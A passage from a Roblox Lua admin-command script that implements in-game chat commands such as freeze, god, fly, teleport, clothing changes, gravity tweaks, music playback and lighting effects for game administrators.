  1061. if v and v.Character and v.Character:findFirstChild("Torso") then
  1062. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1063. end
  1064. end))
  1065. end
  1066. end
  1067.  
  1068. if msg:lower():sub(1,6) == "smoke " then
  1069. local plrz = GetPlr(plr, msg:lower():sub(7))
  1070. for i, v in pairs(plrz) do
  1071. coroutine.resume(coroutine.create(function()
  1072. if v and v.Character and v.Character:findFirstChild("Torso") then
  1073. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1074. end
  1075. end))
  1076. end
  1077. end
  1078.  
  1079. if msg:lower():sub(1,8) == "unsmoke " then
  1080. local plrz = GetPlr(plr, msg:lower():sub(9))
  1081. for i, v in pairs(plrz) do
  1082. coroutine.resume(coroutine.create(function()
  1083. if v and v.Character and v.Character:findFirstChild("Torso") then
  1084. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1085. end
  1086. end))
  1087. end
  1088. end
  1089.  
  1090. if msg:lower():sub(1,9) == "sparkles " then
  1091. local plrz = GetPlr(plr, msg:lower():sub(10))
  1092. for i, v in pairs(plrz) do
  1093. coroutine.resume(coroutine.create(function()
  1094. if v and v.Character and v.Character:findFirstChild("Torso") then
  1095. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1096. end
  1097. end))
  1098. end
  1099. end
  1100.  
  1101. if msg:lower():sub(1,11) == "unsparkles " then
  1102. local plrz = GetPlr(plr, msg:lower():sub(12))
  1103. for i, v in pairs(plrz) do
  1104. coroutine.resume(coroutine.create(function()
  1105. if v and v.Character and v.Character:findFirstChild("Torso") then
  1106. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1107. end
  1108. end))
  1109. end
  1110. end
  1111.  
  1112. if msg:lower():sub(1,3) == "ff " then
  1113. local plrz = GetPlr(plr, msg:lower():sub(4))
  1114. for i, v in pairs(plrz) do
  1115. coroutine.resume(coroutine.create(function()
  1116. if v and v.Character then Instance.new("ForceField", v.Character) end
  1117. end))
  1118. end
  1119. end
  1120.  
  1121. if msg:lower():sub(1,5) == "unff " then
  1122. local plrz = GetPlr(plr, msg:lower():sub(6))
  1123. for i, v in pairs(plrz) do
  1124. coroutine.resume(coroutine.create(function()
  1125. if v and v.Character then
  1126. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1127. end
  1128. end))
  1129. end
  1130. end
  1131.  
  1132. if msg:lower():sub(1,7) == "punish " then
  1133. local plrz = GetPlr(plr, msg:lower():sub(8))
  1134. for i, v in pairs(plrz) do
  1135. coroutine.resume(coroutine.create(function()
  1136. if v and v.Character then
  1137. v.Character.Parent = game:service("Lighting")
  1138. end
  1139. end))
  1140. end
  1141. end
  1142.  
  1143. if msg:lower():sub(1,9) == "unpunish " then
  1144. local plrz = GetPlr(plr, msg:lower():sub(10))
  1145. for i, v in pairs(plrz) do
  1146. coroutine.resume(coroutine.create(function()
  1147. if v and v.Character then
  1148. v.Character.Parent = game:service("Workspace")
  1149. v.Character:MakeJoints()
  1150. end
  1151. end))
  1152. end
  1153. end
  1154.  
  1155. if msg:lower():sub(1,7) == "freeze " then
  1156. local plrz = GetPlr(plr, msg:lower():sub(8))
  1157. for i, v in pairs(plrz) do
  1158. coroutine.resume(coroutine.create(function()
  1159. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1160. for a, obj in pairs(v.Character:children()) do
  1161. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1162. end
  1163. end
  1164. end))
  1165. end
  1166. end
  1167.  
  1168. if msg:lower():sub(1,5) == "thaw " then
  1169. local plrz = GetPlr(plr, msg:lower():sub(6))
  1170. for i, v in pairs(plrz) do
  1171. coroutine.resume(coroutine.create(function()
  1172. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1173. for a, obj in pairs(v.Character:children()) do
  1174. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1175. end
  1176. end
  1177. end))
  1178. end
  1179. end
  1180.  
  1181. if msg:lower():sub(1,5) == "heal " then
  1182. local plrz = GetPlr(plr, msg:lower():sub(6))
  1183. for i, v in pairs(plrz) do
  1184. coroutine.resume(coroutine.create(function()
  1185. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1186. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1187. end
  1188. end))
  1189. end
  1190. end
  1191.  
  1192. if msg:lower():sub(1,4) == "god " then
  1193. local plrz = GetPlr(plr, msg:lower():sub(5))
  1194. for i, v in pairs(plrz) do
  1195. coroutine.resume(coroutine.create(function()
  1196. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1197. v.Character.Humanoid.MaxHealth = math.huge
  1198. v.Character.Humanoid.Health = 9e9
  1199. end
  1200. end))
  1201. end
  1202. end
  1203.  
  1204. if msg:lower():sub(1,6) == "ungod " then
  1205. local plrz = GetPlr(plr, msg:lower():sub(7))
  1206. for i, v in pairs(plrz) do
  1207. coroutine.resume(coroutine.create(function()
  1208. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1209. v.Character.Humanoid.MaxHealth = 100
  1210. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1211. end
  1212. end))
  1213. end
  1214. end
  1215.  
  1216. if msg:lower():sub(1,8) == "ambient " then
  1217. local chk1 = msg:lower():sub(9):find(" ") + 8
  1218. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1219. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1220. end
  1221.  
  1222. if msg:lower():sub(1,11) == "brightness " then
  1223. game.Lighting.Brightness = msg:sub(12)
  1224. end
  1225.  
  1226. if msg:lower():sub(1,5) == "time " then
  1227. game.Lighting.TimeOfDay = msg:sub(6)
  1228. end
  1229.  
  1230. if msg:lower():sub(1,9) == "fogcolor " then
  1231. local chk1 = msg:lower():sub(10):find(" ") + 9
  1232. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1233. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1234. end
  1235.  
  1236. if msg:lower():sub(1,7) == "fogend " then
  1237. game.Lighting.FogEnd = msg:sub(8)
  1238. end
  1239.  
  1240. if msg:lower():sub(1,9) == "fogstart " then
  1241. game.Lighting.FogStart = msg:sub(10)
  1242. end
  1243.  
  1244. if msg:lower():sub(1,7) == "btools " then
  1245. local plrz = GetPlr(plr, msg:lower():sub(8))
  1246. for i, v in pairs(plrz) do
  1247. coroutine.resume(coroutine.create(function()
  1248. if v and v:findFirstChild("Backpack") then
  1249. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1250. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1251. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1252. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1253. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1254. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1255. local sb
  1256. local hs
  1257. local pdist
  1258.  
  1259. script.Parent.Selected:connect(function(mouse)
  1260. if not mouse then return end
  1261. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1262. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1263. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1264. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1265. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1266. end)
  1267.  
  1268. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1269. end
  1270. end))
  1271. end
  1272. end
  1273.  
  1274. if msg:lower():sub(1,5) == "give " then
  1275. local chk1 = msg:lower():sub(6):find(" ") + 5
  1276. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1277. for i, v in pairs(plrz) do
  1278. coroutine.resume(coroutine.create(function()
  1279. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1280. for a, tool in pairs(game.Lighting:children()) do
  1281. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1282. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1283. end
  1284. end
  1285. end
  1286. end))
  1287. end
  1288. end
  1289.  
  1290. if msg:lower():sub(1,12) == "removetools " then
  1291. local plrz = GetPlr(plr, msg:lower():sub(13))
  1292. for i, v in pairs(plrz) do
  1293. coroutine.resume(coroutine.create(function()
  1294. if v and v.Character and v:findFirstChild("Backpack") then
  1295. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1296. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1297. end
  1298. end))
  1299. end
  1300. end
  1301.  
  1302. if msg:lower():sub(1,5) == "rank " then
  1303. local chk1 = msg:lower():sub(6):find(" ") + 5
  1304. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1305. for i, v in pairs(plrz) do
  1306. coroutine.resume(coroutine.create(function()
  1307. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1308. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1309. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1310. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1311. end
  1312. end))
  1313. end
  1314. end
  1315.  
  1316. if msg:lower():sub(1,7) == "damage " then
  1317. local chk1 = msg:lower():sub(8):find(" ") + 7
  1318. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1319. for i, v in pairs(plrz) do
  1320. coroutine.resume(coroutine.create(function()
  1321. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1322. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1323. end
  1324. end))
  1325. end
  1326. end
  1327.  
  1328. if msg:lower():sub(1,5) == "grav " then
  1329. local plrz = GetPlr(plr, msg:lower():sub(6))
  1330. for i, v in pairs(plrz) do
  1331. coroutine.resume(coroutine.create(function()
  1332. if v and v.Character and v.Character:findFirstChild("Torso") then
  1333. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1334. end
  1335. end))
  1336. end
  1337. end
  1338.  
  1339. if msg:lower():sub(1,8) == "setgrav " then
  1340. local chk1 = msg:lower():sub(9):find(" ") + 8
  1341. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1342. for i, v in pairs(plrz) do
  1343. coroutine.resume(coroutine.create(function()
  1344. if v and v.Character and v.Character:findFirstChild("Torso") then
  1345. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1346. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1347. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1348. end
  1349. end))
  1350. end
  1351. end
  1352.  
  1353. if msg:lower():sub(1,7) == "nograv " then
  1354. local plrz = GetPlr(plr, msg:lower():sub(8))
  1355. for i, v in pairs(plrz) do
  1356. coroutine.resume(coroutine.create(function()
  1357. if v and v.Character and v.Character:findFirstChild("Torso") then
  1358. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1359. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1360. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1361. end
  1362. end))
  1363. end
  1364. end
  1365.  
  1366. if msg:lower():sub(1,7) == "health " then
  1367. local chk1 = msg:lower():sub(8):find(" ") + 7
  1368. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1369. for i, v in pairs(plrz) do
  1370. coroutine.resume(coroutine.create(function()
  1371. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1372. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1373. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1374. end
  1375. end))
  1376. end
  1377. end
  1378.  
  1379. if msg:lower():sub(1,6) == "speed " then
  1380. local chk1 = msg:lower():sub(7):find(" ") + 6
  1381. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1382. for i, v in pairs(plrz) do
  1383. coroutine.resume(coroutine.create(function()
  1384. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1385. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1386. end
  1387. end))
  1388. end
  1389. end
  1390.  
  1391. if msg:lower():sub(1,5) == "team " then
  1392. local chk1 = msg:lower():sub(6):find(" ") + 5
  1393. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1394. for i, v in pairs(plrz) do
  1395. coroutine.resume(coroutine.create(function()
  1396. if v and game:findFirstChild("Teams") then
  1397. for a, tm in pairs(game.Teams:children()) do
  1398. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1399. end
  1400. end
  1401. end))
  1402. end
  1403. end
  1404.  
  1405. if msg:lower():sub(1,6) == "place " then
  1406. local chk1 = msg:lower():sub(7):find(" ") + 6
  1407. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1408. for i, v in pairs(plrz) do
  1409. coroutine.resume(coroutine.create(function()
  1410. if v and v:findFirstChild("PlayerGui") then
  1411. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1412. end
  1413. end))
  1414. end
  1415. end
  1416.  
  1417. if msg:lower():sub(1,3) == "tp " then
  1418. local chk1 = msg:lower():sub(4):find(" ") + 3
  1419. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1420. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1421. for i, v in pairs(plrz) do
  1422. coroutine.resume(coroutine.create(function()
  1423. for i2, v2 in pairs(plrz2) do
  1424. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1425. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1426. end
  1427. end
  1428. end))
  1429. end
  1430. end
  1431.  
  1432. if msg:lower():sub(1,7) == "change " then
  1433. local chk1 = msg:lower():sub(8):find(" ") + 7
  1434. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1435. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1436. for i, v in pairs(plrz) do
  1437. coroutine.resume(coroutine.create(function()
  1438. if v and v:findFirstChild("leaderstats") then
  1439. for a, st in pairs(v.leaderstats:children()) do
  1440. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1441. end
  1442. end
  1443. end))
  1444. end
  1445. end
  1446.  
  1447. if msg:lower():sub(1,6) == "shirt " then
  1448. local chk1 = msg:lower():sub(7):find(" ") + 6
  1449. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1450. for i, v in pairs(plrz) do
  1451. coroutine.resume(coroutine.create(function()
  1452. if v and v.Character then
  1453. for i,v in pairs(v.Character:children()) do
  1454. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1455. end
  1456. end
  1457. end))
  1458. end
  1459. end
  1460.  
  1461. if msg:lower():sub(1,6) == "pants " then
  1462. local chk1 = msg:lower():sub(7):find(" ") + 6
  1463. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1464. for i, v in pairs(plrz) do
  1465. coroutine.resume(coroutine.create(function()
  1466. if v and v.Character then
  1467. for i,v in pairs(v.Character:children()) do
  1468. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1469. end
  1470. end
  1471. end))
  1472. end
  1473. end
  1474.  
  1475. if msg:lower():sub(1,5) == "face " then
  1476. local chk1 = msg:lower():sub(6):find(" ") + 5
  1477. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1478. for i, v in pairs(plrz) do
  1479. coroutine.resume(coroutine.create(function()
  1480. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1481. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1482. end
  1483. end))
  1484. end
  1485. end
  1486.  
  1487. ------------------
  1488. -- Fun Commands --
  1489. ------------------
  1490. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1491.  
  1492. if msg:lower():sub(1,8) == "swagify " then
  1493. local plrz = GetPlr(plr, msg:lower():sub(9))
  1494. for i, v in pairs(plrz) do
  1495. coroutine.resume(coroutine.create(function()
  1496. if v and v.Character then
  1497. for i,v in pairs(v.Character:children()) do
  1498. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1499. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1500. end
  1501. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1502. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1503. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1504. local torso = plr.Character.Torso
  1505. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1506. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1507. p.Size = Vector3.new(.2,.2,.2)
  1508. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1509. local motor1 = Instance.new("Motor", p)
  1510. motor1.Part0 = p
  1511. motor1.Part1 = torso
  1512. motor1.MaxVelocity = .01
  1513. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1514. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1515. local wave = false
  1516. repeat wait(1/44)
  1517. local ang = 0.1
  1518. local oldmag = torso.Velocity.magnitude
  1519. local mv = .002
  1520. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1521. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1522. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1523. motor1.DesiredAngle = -ang
  1524. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1525. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1526. if torso.Velocity.magnitude < .1 then wait(.1) end
  1527. until not p or p.Parent ~= torso.Parent
  1528. script:Destroy()
  1529. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1530. end
  1531. end))
  1532. end
  1533. end
  1534.  
  1535. if msg:lower():sub(1,6) == "music " then
  1536. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1537. local id = msg:sub(7)
  1538. local pitch = 1
  1539. if tostring(id):lower():find("caramell") then id = 2303479 end
  1540. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1541. if tostring(id):find("rick") then id = 2027611 end
  1542. if tostring(id):find("halo") then id = 1034065 end
  1543. if tostring(id):find("pokemon") then id = 1372261 end
  1544. if tostring(id):find("cursed") then id = 1372257 end
  1545. if tostring(id):find("extreme") then id = 11420933 end
  1546. if tostring(id):find("awaken") then id = 27697277 end
  1547. if tostring(id):find("alone") then id = 27697392 end
  1548. if tostring(id):find("mario") then id = 1280470 end
  1549. if tostring(id):find("choir") then id = 1372258 end
  1550. if tostring(id):find("chrono") then id = 1280463 end
  1551. if tostring(id):find("dotr") then id = 11420922 end
  1552. if tostring(id):find("entertain") then id = 27697267 end
  1553. if tostring(id):find("fantasy") then id = 1280473 end
  1554. if tostring(id):find("final") then id = 1280414 end
  1555. if tostring(id):find("emblem") then id = 1372259 end
  1556. if tostring(id):find("flight") then id = 27697719 end
  1557. if tostring(id):find("banjo") then id = 27697298 end
  1558. if tostring(id):find("gothic") then id = 27697743 end
  1559. if tostring(id):find("hiphop") then id = 27697735 end
  1560. if tostring(id):find("intro") then id = 27697707 end
  1561. if tostring(id):find("mule") then id = 1077604 end
  1562. if tostring(id):find("film") then id = 27697713 end
  1563. if tostring(id):find("nezz") then id = 8610025 end
  1564. if tostring(id):find("angel") then id = 1372260 end
  1565. if tostring(id):find("resist") then id = 27697234 end
  1566. if tostring(id):find("schala") then id = 5985787 end
  1567. if tostring(id):find("organ") then id = 11231513 end
  1568. if tostring(id):find("tunnel") then id = 9650822 end
  1569. if tostring(id):find("spanish") then id = 5982975 end
  1570. if tostring(id):find("venom") then id = 1372262 end
  1571. if tostring(id):find("wind") then id = 1015394 end
  1572. if tostring(id):find("guitar") then id = 5986151 end
  1573. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1574. end
  1575.  
  1576. if msg:lower() == "stopmusic" then
  1577. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1578. end
  1579.  
  1580. if msg:lower() == "musiclist" then
  1581. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1582. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1583. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1584. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1585. end
  1586.  
  1587. if msg:lower():sub(1,4) == "fly " then
  1588. local plrz = GetPlr(plr, msg:lower():sub(5))
  1589. for i, v in pairs(plrz) do
  1590. coroutine.resume(coroutine.create(function()
  1591. if v and v:findFirstChild("PlayerGui") then
  1592. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  1593. cl.Parent = v.PlayerGui cl.Disabled = false
  1594. end
  1595. end))
  1596. end
  1597. end
  1598.  
  1599. if msg:lower():sub(1,6) == "unfly " then
  1600. local plrz = GetPlr(plr, msg:lower():sub(7))
  1601. for i, v in pairs(plrz) do
  1602. coroutine.resume(coroutine.create(function()
  1603. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1604. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1605. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1606. wait(.1) v.Character.Humanoid.PlatformStand = false
  1607. end
  1608. end))
  1609. end
  1610. end
  1611.  
  1612. if msg:lower() == "disco" then
  1613. for i, v in pairs(lobjs) do v:Destroy() end
  1614. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1615. game.Lighting.Ambient = color
  1616. game.Lighting.FogColor = color
  1617. until nil]]
  1618. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1619. end
  1620.  
  1621. if msg:lower() == "flash" then
  1622. for i, v in pairs(lobjs) do v:Destroy() end
  1623. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1624. game.Lighting.Ambient = Color3.new(1,1,1)
  1625. game.Lighting.FogColor = Color3.new(1,1,1)
  1626. game.Lighting.Brightness = 1
  1627. game.Lighting.TimeOfDay = 14
  1628. wait(.1)
  1629. game.Lighting.Ambient = Color3.new(0,0,0)
  1630. game.Lighting.FogColor = Color3.new(0,0,0)
  1631. game.Lighting.Brightness = 0
  1632. game.Lighting.TimeOfDay = 0
  1633. until nil]]
  1634. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1635. end
  1636.  
  1637. if msg:lower():sub(1,5) == "spin " then
  1638. local plrz = GetPlr(plr, msg:lower():sub(6))
  1639. for i, v in pairs(plrz) do
  1640. coroutine.resume(coroutine.create(function()
  1641. if v and v.Character and v.Character:findFirstChild("Torso") then
  1642. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1643. local torso = v.Character:findFirstChild("Torso")
